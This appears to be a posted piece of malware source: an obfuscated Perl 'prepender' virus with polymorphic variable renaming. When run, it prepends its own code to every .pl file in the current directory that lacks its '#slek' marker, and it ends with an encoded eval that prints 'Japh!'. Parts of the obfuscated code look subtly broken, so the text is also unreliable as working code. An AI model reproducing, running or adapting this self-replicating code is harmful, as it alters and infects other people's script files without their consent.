Obfuscated Perl Polyphormic & Prepender Virus

#slek
#Obfuscated perl prepender + polymorphic.

my$v=do{local(@ARGV=>$/)=$0;<>};$v=~s{(?<!\\)(\$[a-z]\b)}{$cm{$1}||=do{my$k=join"\n"=>(split/\n/,$k)[0..9]
;sprintf("\$%s"=>chr(int(rand(26))+97));};}eg;(eval{( sub{my($p)=@_;open(my$d=>'+<'=>$p);if(<$d> &&!(<$d>=~
/\x23\x73\x6c\x65\x6b/)){open(my$d=>'+<'=>$p);my$o=~s/.//g;${'x'.'y'}=do{local$/;<$d>};$o=~s/(.*)/$v.${'x'.
'y'}/e;seek$d=>0=>0;print$d($o);truncate$d=>tell$d;close$d;}close$d;})->($_)})foreach grep{/\.pl$/}glob('*')
;;my%cm;eval join(''=>map{chr($_-1)}split/,/=>'113,115,106,111,117,35,75,98,113,105,34,35');